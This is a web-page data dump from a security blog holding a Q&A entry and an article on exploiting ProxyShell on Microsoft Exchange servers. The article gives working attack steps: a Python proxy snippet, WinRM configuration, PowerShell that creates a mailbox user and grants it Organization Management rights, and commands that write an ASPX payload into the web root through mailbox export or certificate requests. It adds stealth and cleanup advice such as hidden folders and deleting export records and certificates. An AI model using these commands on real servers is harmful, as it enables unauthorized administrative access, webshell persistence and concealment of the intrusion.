[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fW9ohGnQmvLYbaXSOQlxe5oyxEXNL8Yd-9Br_CanHPuI":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":49,"createdAt":50,"_status":48},249,"Why can't I add users directly via PyPSRP in ProxyShell exploitation, and what is the workaround?","Directly adding users via PyPSRP fails because passing a password requires executing the PowerShell `ConvertTo-SecureString` command, which is not supported by Exchange PowerShell Remoting. The workaround is to invoke local PowerShell by first setting up a local Flask proxy server to handle load balancing, then configuring WinRM, `allowunencrypted`, and `TrustedHosts` on the target system. After that, you can establish a PowerShell session and use `Invoke-Command` with the `-ArgumentList` parameter to pass the secure password string, as demonstrated in the [ProxyShell exploitation chain](\u002Fnews\u002Fproxyshell-exploitation-analysis-2-cve-2021-34523).","\u003Cp>Directly adding users via PyPSRP fails because passing a password requires executing the PowerShell `ConvertTo-SecureString` command, which is not supported by Exchange PowerShell Remoting. The workaround is to invoke local PowerShell by first setting up a local Flask proxy server to handle load balancing, then configuring WinRM, `allowunencrypted`, and `TrustedHosts` on the target system. After that, you can establish a PowerShell session and use `Invoke-Command` with the `-ArgumentList` parameter to pass the secure password string, as demonstrated in the [ProxyShell exploitation chain](\u002Fnews\u002Fproxyshell-exploitation-analysis-2-cve-2021-34523).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fproxyshell-exploitation-analysis-3-adding-users-and-file-writing\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-cant-i-add-users-directly-via-pypsrp-in-proxyshell-exploitation-and-what-is--1777484573278","ProxyShell, PyPSRP, Exchange PowerShell Remoting, ConvertTo-SecureString, Flask proxy, WinRM, add user",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":45,"updatedAt":46,"createdAt":47,"_status":48},65,"ProxyShell Exploitation Analysis 3 - Adding Users and File Writing","proxyshell-exploitation-analysis-3-adding-users-and-file-writing","Analysis of ProxyShell exploitation techniques for adding users and writing files on Exchange servers, including PowerShell remoting and file export methods.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will introduce the details of adding users and file writing in ProxyShell, analyzing exploitation approaches.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Methods for adding users\u003C\u002Fli>\u003Cli>Methods for file writing\u003C\u002Fli>\u003Cli>Exploitation analysis\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Methods for Adding Users\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>When executing PowerShell commands via PyPSRP, adding user operations cannot be performed\u003C\u002Fp>\u003Cp>This is because passing Password values requires executing the PowerShell command convertto-securestring, which is not supported by Exchange PowerShell Remoting\u003C\u002Fp>\u003Cp>For solutions, refer to Orange's approach: by invoking local PowerShell to ultimately achieve user addition\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.zerodayinitiative.com\u002Fblog\u002F2021\u002F8\u002F17\u002Ffrom-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\u003C\u002Fp>\u003Cp>Note the following details:\u003C\u002Fp>\u003Ch3>1. Establish a local proxy server using Flask\u003C\u002Fh3>\u003Cp>Code reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgist.githubusercontent.com\u002Fzdi-team\u002F087026b241df18102db699fe4a3d9282\u002Fraw\u002Fab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9\u002FP2O-Vancouver-2021-ProxyShell-snippet-7.py\u003C\u002Fp>\u003Cp>In Python3 environment, change request.headers.iteritems() to request.headers.items()\u003C\u002Fp>\u003Cp>If encountering load balancing, you can check the returned status code; if it's not 200, resend the data packet\u003C\u002Fp>\u003Cp>Lines 28-34 can be replaced with the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    while True:\u003Cbr>        r = requests.post(powershell_url, data=data, headers=req_headers, verify=False)\u003Cbr>        if r.status_code == 200:\u003Cbr>            print(\"[+]\" + r.headers[\"X-CalculatedBETarget\"])\u003Cbr>            break\u003Cbr>        else:\u003Cbr>            print(\"[-]\" + r.headers[\"X-CalculatedBETarget\"])  \u003Cbr>    req_headers = {}\u003Cbr>    for k, v in r.headers.items(): \u003Cbr>        if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']: \u003Cbr>            continue \u003Cbr>        req_headers[k] = v \u003Cbr> \u003Cbr>    return r.content, r.status_code, req_headers\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Invoke Local PowerShell\u003C\u002Fh3>\u003Cp>Command reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgist.githubusercontent.com\u002Fzdi-team\u002Fa2eb014d248e4e54a2ab4ba4ae3ac3cf\u002Fraw\u002Faf251aefc37a47489f43128832798a210393013a\u002FP2O-Vancouver-2021-ProxyShell-snippet-8.ps1\u003C\u002Fp>\u003Cp>Before invoking local PowerShell commands, the system requires the following configurations:\u003C\u002Fp>\u003Ch4>(1) Set network location\u003C\u002Fh4>\u003Cp>Do not select Public network; choose Home network or Work network\u003C\u002Fp>\u003Ch4>(2) Set administrator user password\u003C\u002Fh4>\u003Cp>Ensure the administrator user has a password set\u003C\u002Fp>\u003Ch4>(3) Enable WinRM service\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>winrm quickconfig\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(4) Modify allowunencrypted property\u003C\u002Fh4>\u003Cp>PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>cd WSMan:\\localhost\\Client\u003Cbr>set-item .\\allowunencrypted $true\u003Cbr>dir\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(5) Set TrustedHosts\u003C\u002Fh4>\u003Cp>PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-Item WSMan:\\localhost\\Client\\TrustedHosts\u003Cbr>Set-Item WSMan:\\localhost\\Client\\TrustedHosts -Value '*'\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After completing the above settings, you can establish a PowerShell session and execute Exchange PowerShell commands\u003C\u002Fp>\u003Cp>Adding a user operation requires passing a securestring, which can be passed using the -ArgumentList parameter\u003C\u002Fp>\u003Cp>Example command for adding a user:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$pwd=convertto-securestring Password123 -asplaintext -force;\u003Cbr>$command = {New-Mailbox -UserPrincipalName testuser1@test.com -OrganizationalUnit test.com\u002FUsers -Alias testuser1 -Name testuser1 -DisplayName testuser1 -Password $args[0];}\u003Cbr>Invoke-Command -Session $session -ScriptBlock $command -ArgumentList $pwd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example command for adding an administrator user:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$command = {Add-RoleGroupMember \"Organization Management\" -Member testuser1 -BypassSecurityGroupManagerCheck}\u003Cbr>Invoke-Command -Session $session -ScriptBlock $command\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x03 File Writing Methods\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Writing files via New-MailboxExportRequest\u003C\u002Fh3>\u003Cp>New-MailboxExportRequest is used to export emails. For related usage, refer to the previous article \"Penetration Basics – Searching and Exporting Emails from Exchange Servers\"\u003C\u002Fp>\u003Cp>When writing files, note the following issues:\u003C\u002Fp>\u003Ch4>(1) Users need to be added to the role group \"Mailbox Import Export\"\u003C\u002Fh4>\u003Cp>Example command for adding a user to the role group \"Mailbox Import Export\":\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>New-ManagementRoleAssignment –Role \"Mailbox Import Export\" –User Administrator\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example command for removing a user:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Remove-ManagementRoleAssignment -Identity \"Mailbox Import Export-Administrator\" -Confirm:$false\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example command to view users in the role group \"Mailbox Import Export\":\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-ManagementRoleAssignment –Role \"Mailbox Import Export\"|fl user\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Delivering Payload via Email\u003C\u002Fh4>\u003Cp>There are two methods here:\u003C\u002Fp>\u003Cp>1. Send an email containing the Payload from an external mailbox to the target mailbox\u003C\u002Fp>\u003Cp>2. Exploit CVE-2021-34473 to impersonate any mailbox user and save the email containing the Payload to a specified folder\u003C\u002Fp>\u003Cp>For method 2, to improve stealth, you can first create a hidden folder before saving the email containing the Payload. For details, refer to the previous article \"Penetration Basics – Hidden Folders in Exchange User Mailboxes\"\u003C\u002Fp>\u003Ch4>(3) Writing Files\u003C\u002Fh4>\u003Cp>To accurately write the Payload and avoid unexpected errors, include constraints when writing the email to export only emails containing the Payload\u003C\u002Fp>\u003Cp>Example command for exporting emails:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>New-MailboxexportRequest -mailbox \"test1\" -ContentFilter {(body -like \"payload Flag\")} -FilePath (\"\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\test.aspx\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(4) Clearing Export Requests\u003C\u002Fh4>\u003Cp>When executing the New-MailboxexportRequest command for export, the export request records are automatically saved, with a default retention period of 30 days\u003C\u002Fp>\u003Cp>If you do not want to save the export request, you can add the parameter -CompletedRequestAgeLimit 0\u003C\u002Fp>\u003Cp>\u003Cstrong>Note: Related operations for export requests\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>View email export requests:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-MailboxExportRequest\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Delete a specific export request:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Remove-MailboxExportRequest -RequestQueue \"Mailbox Database 1111111111\" -RequestGuid 11111111-1111-1111-1111-111111111111 -Confirm:$false\u003Cbr>Remove-MailboxExportRequest -Identity 'test.com\u002FUsers\u002Ftest1\\MailboxExport' -Confirm:$false\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Matching parameters are obtained from the results of Get-MailboxExportRequest|fl\u003C\u002Fp>\u003Cp>Delete all export requests:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Write to file via New-ExchangeCertificate\u003C\u002Fh3>\u003Cp>New-ExchangeCertificate is used to create and renew self-signed certificates\u003C\u002Fp>\u003Cp>The earliest public exploitation method is in CVE-2020-17083, reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsrcincite.io\u002Fpocs\u002Fcve-2020-17083.ps1.txt\u003C\u002Fp>\u003Ch4>(1) Deliver Payload\u003C\u002Fh4>\u003Cp>Pass the payload via the SubjectName parameter, which must comply with specific syntax, reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fpowershell\u002Fmodule\u002Fexchange\u002Fnew-exchangecertificate?view=exchange-ps\u003C\u002Fp>\u003Cp>Briefly, the following issues need attention:\u003C\u002Fp>\u003Cul>\u003Cli>You can use the fixed format: CN=Payload\u003C\u002Fli>\u003Cli>Cannot contain these three special characters: , + ;\u003C\u002Fli>\u003C\u002Ful>\u003Cp>If you choose Jscript as the Payload, you can first Base64 encode the code to avoid special characters\u003C\u002Fp>\u003Cp>When writing, if the returned content is Microsoft.Exchange.Data.BinaryFileDataObject, it indicates a successful write\u003C\u002Fp>\u003Ch4>(2) Clear certificates\u003C\u002Fh4>\u003Cp>Example command to read all certificates:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-ExchangeCertificate\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example command to match certificates with specific characteristics:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN=\"&lt;%@*'\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example command to delete a specific certificate:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Remove-ExchangeCertificate -Thumbprint 1111111111111111111111111111111111111111 -Confirm:$false\u003Cbr>Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN=\"&lt;%@*' | Remove-ExchangeCertificate -Confirm:$false\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>During the research on ProxyShell, I had many new ideas, which I will share at an appropriate opportunity in the future.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",4,"published","2026-02-02T08:07:20.755Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"ProxyShell Exploitation: Adding Users & File Writing Analysis","ProxyShell exploitation, Exchange server security, PowerShell remoting, New-MailboxExportRequest, user addition, file writing, penetration testing, cybersecurity",false,[],{"docs":41,"hasNextPage":38},[42,43,44,4],252,251,250,{"title":30,"description":30,"image":30},"2026-07-24T02:07:27.349Z","2026-07-23T16:01:16.095Z","draft","2026-07-23T16:04:48.851Z","2026-07-23T16:04:48.850Z"]